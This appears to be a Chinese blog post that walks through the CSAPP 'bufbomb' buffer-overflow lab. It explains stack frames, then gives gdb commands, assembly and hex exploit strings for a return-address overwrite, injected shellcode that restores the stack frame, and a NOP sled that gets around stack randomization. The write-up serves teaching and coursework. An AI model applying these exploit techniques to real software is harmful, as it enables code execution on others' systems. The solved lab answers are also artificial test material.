利用C语言缺陷进行缓冲区溢出攻击

黑客初体验。


栈帧结构

简单栈帧结构

对栈帧结构最简单的解释就是,用栈指针(sp, stack pointer)帧指针(bp, base pointer) 标识内存头尾,中间部分的内存供函数的代码进行操作。

函数执行

包括代码域和数据域:

  • 代码域存放代码,但是是固定的,运行之前就已经确定。
  • 数据域存放临时变量,运行时才开辟出来,采用的是栈帧结构

当代码段执行call <func>,程序将跳转到func函数的代码头,执行func函数的代码,并让它自行开辟栈帧。

假想栈帧结构

func函数执行完,应该回到调用它的原来的函数代码,以及回到原来函数的栈帧。那么该如何实现呢?

  • 回到原来的栈帧:其中一种假想的思路是,栈指针和帧指针指向的内存分别存放原来的栈指针和帧指针,返回的时候直接替换就行了。

  • 回到原来的代码:可以在帧指针的上一处内存存放call <func>的下一句代码的地址,这样返回的时候让帧指针帮下忙,就可以轻松回到原来的代码。

实际结构

这样假想的栈帧结构其实已经很像真实的栈帧结构了。
为了所谓的追求速度,真正的函数栈帧结构其实是连续的,一串连着一串,像这样:

与假想的栈帧结构相比:

  • 不变的是返回地址还是在帧指针之上,帧指针还是指向原来的帧指针。
  • 不同的是栈指针不再需要存放原来的栈指针,因为返回地址之上就是原来栈指针所指的地方。

过程汇编代码

调用函数的经过如下:

  1. push pc # 返回地址入栈。
  2. push bp # 原来的帧指针入栈。
  3. mov sp,bp # 让帧指针指向原来的帧指针。
  4. sub sp,#(栈帧大小) # 让栈指针往下开辟一个新的栈帧。

mmexport1514564825156

类似的,返回原来函数的经过如下:

  1. mov bp,sp # 栈指针指向帧指针指向的内存。
  2. pop bp # 帧指针指向原来帧指针指向的内存。
  3. pop pc # 回到原来函数的代码

mmexport1514564842593


缓冲区溢出攻击

可以想象,如果有办法修改栈帧上的返回地址,无疑可以让程序转向任何我们想转向的地方。但是一般不具备这样的机会,因为变量都是有固定大小的,很难突破变量大小的限制,修改变量以外的内存。
偏偏C语言对速度的变态追求和对程序员的信任,给了我们这样的机会:它几乎从不进行边界检查,数组可以越界,gets可以越界,而且越界以后只要不影响程序的运行,连崩溃都不会发生。
假如一个函数调用了gets向局部变量写入字符串,我们就可以写入比局部变量所规定大小还要大的字符串,业内称作注入字符串,来覆盖掉栈帧上的信息,从而达到修改内存的目的。


破坏型注入

只粗暴地覆盖返回地址。当函数返回时,代码会跳到被覆盖的返回地址,但是栈帧已经乱套了。
不过只要跳到的代码不会用到栈帧,而且能很快就结束程序,那么这种溢出攻击无疑是最简单直接的选择。

实践

《CSAPP》上提供的实验,需要我们将程序跳到一个名叫smoke的函数。

步骤如下:

  1. 反汇编程序得到汇编代码。
  2. 查看调用gets的函数的汇编代码,推测需要覆盖多少字节。
  3. 查看smoke函数的代码地址。
  4. 编写注入的16进制机器码。
  5. 实行覆盖。

  • 反汇编:
    1
    $ objdump -d ./bufbomb > disas.txt
  • 查看调用gets的函数:

    %ebp-0x28赋给%eax令人瞩目,这就是字符串首地址。因此覆盖的字符串应当包含:4位返回地址 + 4位bp + 40(0x28的十进制)位字符。

  • smoke函数首地址:

    得到smoke函数首地址:0x08048c18

  • 编写注入的16进制机器码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    00 00 00 00
    00 00 00 00
    00 00 00 00
    00 00 00 00
    00 00 00 00
    00 00 00 00
    00 00 00 00
    00 00 00 00
    00 00 00 00
    00 00 00 00 /* 原字符串大小 */
    00 00 00 00 /* 现bp所指位置,原bp所在位置 */
    18 8c 04 08 /* 覆盖的返回地址 */
  • 转成ASCII字符串,此处省略

  • 注入,查看结果

    成功


擦屁股型注入

与破坏型注入相对的是:擦屁股型注入。大意是能让程序正确地返回到原来的函数,并且恢复原来的栈帧。这种注入的要求更高,但是能做到的东西更多,更神不知鬼不觉。
这里要讲到汇编语言的一个缺陷:可以允许pc跳到栈段,并把里面的数据当代码执行。因此,只要把注入代码伪装成字符串,让覆盖的返回地址指向注入代码头,就可以让程序执行注入代码。再配合上擦屁股,就可以让作案现场毫无破绽。
这就是我花这么大的篇幅去讲解栈帧结构的原因:只要真正理解了栈帧结构,恢复它简直易如反掌。

要点如下:

  1. 覆盖返回地址时,会覆盖bp所指向的原bp,只要保证它不变,bp就能顺利回到原bp。
  2. 跳到注入代码后,sp已经指向原sp了,所以只要在注入代码的最后,把原返回地址push进栈再ret,就和原来的代码如出一辙。

实践

《CSAPP》上提供的实验,需要我们修改向原函数返回的值。
要修改返回值,就要修改寄存器,可寄存器不如内存那么好处理,不能直接覆盖,只能通过注入代码的方式修改。而且要想成功返回,就得做好擦屁股的工作。

步骤如下:

  1. 查看反汇编代码,记录正确的返回地址。
  2. gdb调试程序,记录原bp和字符串首地址。
  3. 编写注入的汇编代码,并利用gccobjdump工具将其翻译成机器码。
  4. 编写注入的16进制机器码。
  5. 实行覆盖。

  • 查看反汇编代码:

    得到返回地址:0x08048dbe

  • gdb查看原bp:

    1
    2
    3
    4
    5
    $ gdb ./bufbomb
    (gdb) b getbuf
    (gdb) run -u gaufoo
    (gdb) p /x *(int *)$ebp

    得到原bp:0x55683d20

  • gdb查看字符串首地址,就把代码注入到那:

    1
    2
    3
    4
    5
    $ gdb ./bufbomb
    (gdb) b getbuf
    (gdb) run -u gaufoo
    (gdb) p /x ($ebp-0x28)

    得到字符串首地址:0x55683cc8

  • 编写汇编代码,并译成机器码:

    1
    2
    3
    4
    // sc.s
    mov $0x4a3e65c1,%eax
    push $0x08048dbe
    ret
    1
    2
    $ gcc -m32 -c sc.s
    $ objdump -d sc.o

  • 编写注入的16进制机器码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    b8 c1 65 3e 4a /* mov $0x4a3e65c1,%eax */
    68 be 8d 04 08 /* push $0x08048dbe */
    c3 /* ret */
    00 00 00 00 00
    00 00 00 00
    00 00 00 00
    00 00 00 00
    00 00 00 00
    00 00 00 00
    00 00 00 00
    20 3d 68 55 /* 现bp所指位置,原bp所在位置 */
    c8 3c 68 55 /* 字符串首地址 */
  • 转成ASCII字符串,此处省略

  • 注入,查看结果

    成功


反注入原理与抗反注入方法

gcc编译器反注入的其中一种措施是栈随机化,原理是:每次程序运行时在栈最底部随机插上一段不用的内存,让实际使用的栈地址发生变化。它会导致原bp所在位置和字符串首地址不再是固定值,给代码注入带来一定困难。

对抗这种反注入的方法也挺简单的:

  • 原bp可以通过现sp计算得到。
  • 虽然不再能得到字符串首地址,但可以大概猜到字符串中间的位置,只要把代码放在最后面,前面全部用空语句填充。当代码转到任何一个空语句,最终都能“滑”到我想执行的注入代码。

实践

《CSAPP》上提供的实验,注入5次字符串,每次都需要修改向原函数返回的值,难点在于每次注入时的栈地址都会发生变化,模拟编译器的栈随机化。

步骤如下:

  1. 查看反汇编代码,记录正确的返回地址。
  2. 查看反汇编代码,记录原bp和原sp的距离。
  3. gdb调试程序,查看5次字符串首地址,记录最接近尾部的值,即最大值,作为猜测出来的栈中间地址。
  4. 编写注入的汇编代码,并利用gccobjdump工具将其翻译成机器码。
  5. 编写注入的16进制机器码。
  6. 实行覆盖。

  • 记录正确的返回地址:

    得到返回地址:0x08048e3a

  • 记录原bp和原sp的距离

    1
    2
    3
    push %ebp
    push %ebx
    sub $0x24,%esp

    由这三句汇编代码可得距离为:0x28 = 0x24 + 0x4(ebx长度)

  • 查看5次字符串首地址

    1
    2
    3
    4
    $ gdb ./bufbomb
    (gdb) b getbufn
    (gdb) run -n -u gaufoo
    1
    (gdb) disas getbufn

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    (gdb) p /x $ebp-0x208
    continue
    (gdb) p /x $ebp-0x208
    continue
    (gdb) p /x $ebp-0x208
    continue
    (gdb) p /x $ebp-0x208
    continue
    (gdb) p /x $ebp-0x208
    continue

    得到首地址最大值:0x55683b58

  • 编写注入汇编代码:

    1
    2
    3
    4
    mov $0x4a3e65c1,%eax
    lea -0x28(%esp),%ebp
    push $0x08048e3a
    ret

    gcc+objdump,翻译成机器码:

  • 编写注入机器码:
    首先0x208是字符串缓冲区长度,十进制为520。
    因此注入的机器码应为:509个字节空指令 + 15个字节注入代码 + 4个字节跳转地址 = 528个字节,
    因为要注入5次,所以后面要加上’\0a’,再复制5次。

  • 转成ASCII字符串,此处省略

  • 注入,查看结果

    成功